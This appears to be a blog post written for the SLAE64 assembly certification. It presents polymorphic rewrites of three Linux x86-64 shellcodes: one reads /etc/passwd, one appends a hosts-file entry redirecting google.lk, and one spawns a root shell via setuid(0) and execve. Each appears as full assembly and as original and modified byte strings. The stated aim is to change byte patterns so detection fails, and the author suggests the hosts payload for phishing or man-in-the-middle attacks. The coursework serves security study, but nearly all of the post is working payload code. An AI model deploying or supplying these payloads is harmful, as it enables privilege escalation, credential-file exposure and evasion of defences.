For assignment 6 of the SecurityTube Linux Assembly Expert certification the idea is to create polymorphic versions of existing shellcodes, specifically taken from shell-storm.org.
A polymorphic version of a shellcode is just the same functionality written with different instructions, registers and including nop instructions to break patterns and prevent detection.
For this assignment I chose the following shellcodes to work with:
- Linux/x86-64 – Read /etc/passwd – 82 bytes
- Linux/x86-64 – Add map in /etc/hosts file – 110 bytes
- Linux/x86-64 – setuid(0) + execve(/bin/sh) – 49 bytes
1. Linux/x86-64 – Read /etc/passwd – 82 bytes
I’m really proud of my achievement with this one. I’ve changed quite a lot, used a lot of operations that I only use when optimizing, like ror, imul, cdq (using it everyday more), xchg, sub, dec, inc and add. I managed to increase the size of the asm code by 6 lines but reduce the size of the shellcode to 74 bytes.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
BITS 64 ;; Author Mr.Un1k0d3r - RingZer0 Team ;; Read /etc/passwd Linux x86_64 Shellcode ;; Shellcode size 82 bytes ;; ;; REVISED VERSION by jadawin for SLAE64 ;; global _start section .text _start: jmp short code path: db '/etc/passwdA' code: ;; syscall open file lea rdi, [rel path] xor byte [rdi+0xb], 0x41 xor ebx, ebx push rbx pop rax imul esi, eax ;set 0_RDONLY flag in %rsi = 0x0 add al, 2 syscall xchg rdi, rax ; store fd on %rdi ;; syscall read file mov eax, ebx cdq add dh, 0xff ; size to read xor cx, cx add ch, 0xff sub sp, cx ; buffer space push rsp pop rsi syscall ;; syscall write to stdout xchg edx, eax push rbx pop rdi inc dil ; set stdout fd = 1 xchg eax, ebx inc al syscall ;; syscall exit push rdi pop rax add al, 59 syscall |
Original shellcode
1 |
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41 |
Polymorphic version
1 |
\x31\xdb\xeb\x0c\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41\x48\x8d\x3d\xed\xff\xff\xff\x80\x77\x0b\x41\x53\x58\x0f\xaf\xf0\x04\x02\x0f\x05\x48\x97\x89\xd8\x99\x80\xc6\xff\x66\x31\xc9\x80\xc5\xff\x66\x29\xcc\x54\x5e\x0f\x05\x92\x53\x5f\x40\xfe\xc7\x93\xfe\xc0\x0f\x05\x57\x58\x04\x3b\x0f\x05 |
2. Linux/x86-64 – Add map in /etc/hosts file – 110 bytes
This next shellcode is my own version of the above shellcode from shell-storm.org. In a nutshell, it adds some entry to /etc/hosts, this could be useful for exploring some phishing attack or maybe even some type of man-in-the-middle attack.
By relying on push-pop combos, together with different registry usage and some opcode alternatives it was possible to reduce the shellcode from 110 to 96 bytes.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
BITS 64 global _start section .text _start: ;;open xor ebx, ebx push rbx pop rax add al, 2 ; open syscall mov esi, ebx push rbx ; 0x00 mov r8, 0x2f2f2f2f6374652f ; stsoh/ mov r10, 0x7374736f682f2f2f ; /cte/ push r10 push r8 push rsp pop rdi add si, 0x401 syscall ;write xchg eax, edi push rbx pop rax inc al jmp get_text write: pop rsi mov edx, ebx add dl, 20 ; length in rdx syscall ;close mov eax, ebx add al, 3 syscall ;;exit xchg eax, ebx imul edi, eax mov al, 60 syscall get_text: call write text db '127.1.1.1 google.lk',0xa |
Original shellcode
1 |
\x48\x31\xc0\x48\x83\xc0\x02\x48\x31\xff\x48\x31\xf6\x56\x49\xb8\x2f\x65\x74\x63\x2f\x2f\x2f\x2f\x49\xba\x2f\x2f\x2f\x68\x6f\x73\x74\x73\x41\x52\x41\x50\x48\x01\xe7\x48\x31\xf6\x66\x81\xc6\x01\x04\x0f\x05\x48\x97\x48\x31\xc0\x48\x83\xc0\x01\xeb\x18\x5e\xb2\x13\x0f\x05\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xe3\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b |
Polymorphic version
1 |
\x31\xdb\x53\x58\x04\x02\x89\xde\x53\x49\xb8\x2f\x65\x74\x63\x2f\x2f\x2f\x2f\x49\xba\x2f\x2f\x2f\x68\x6f\x73\x74\x73\x41\x52\x41\x50\x54\x5f\x66\x81\xc6\x01\x04\x0f\x05\x97\x53\x58\xfe\xc0\xeb\x16\x5e\x89\xda\x80\xc2\x14\x0f\x05\x89\xd8\x04\x03\x0f\x05\x93\x0f\xaf\xf8\xb0\x3c\x0f\x05\xe8\xe5\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b\x0a |
3. Linux/x86-64 – setuid(0) + execve(/bin/sh) – 49 bytes
For the last polymorphic shellcode I chose the setuid + execve(/bin/sh) version by evil.xi4oyu. This shellcode spawns a new root shell when ran from a privileged process.
Below is my polymorphic version. Although the code contains more instructions that the original, the size was actually decreased from 48 to 43 bytes.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
BITS 64 global _start section .text _start: sub edx, edx mov edi, edx mov al, 0x69 syscall mov rbx, 0x68732f6e69622fff shr rbx, 0x8 push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi mov eax, edx add al, 0x3b syscall push 0x1 pop rdi push 0x3c pop rax syscall |
Original shellcode
1 |
\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05 |
Polymorphic version
1 |
\x29\xd2\x89\xd7\xb0\x69\x0f\x05\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x54\x5f\x52\x57\x54\x5e\x89\xd0\x04\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05 |
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification.
Student ID: SLAE64-1440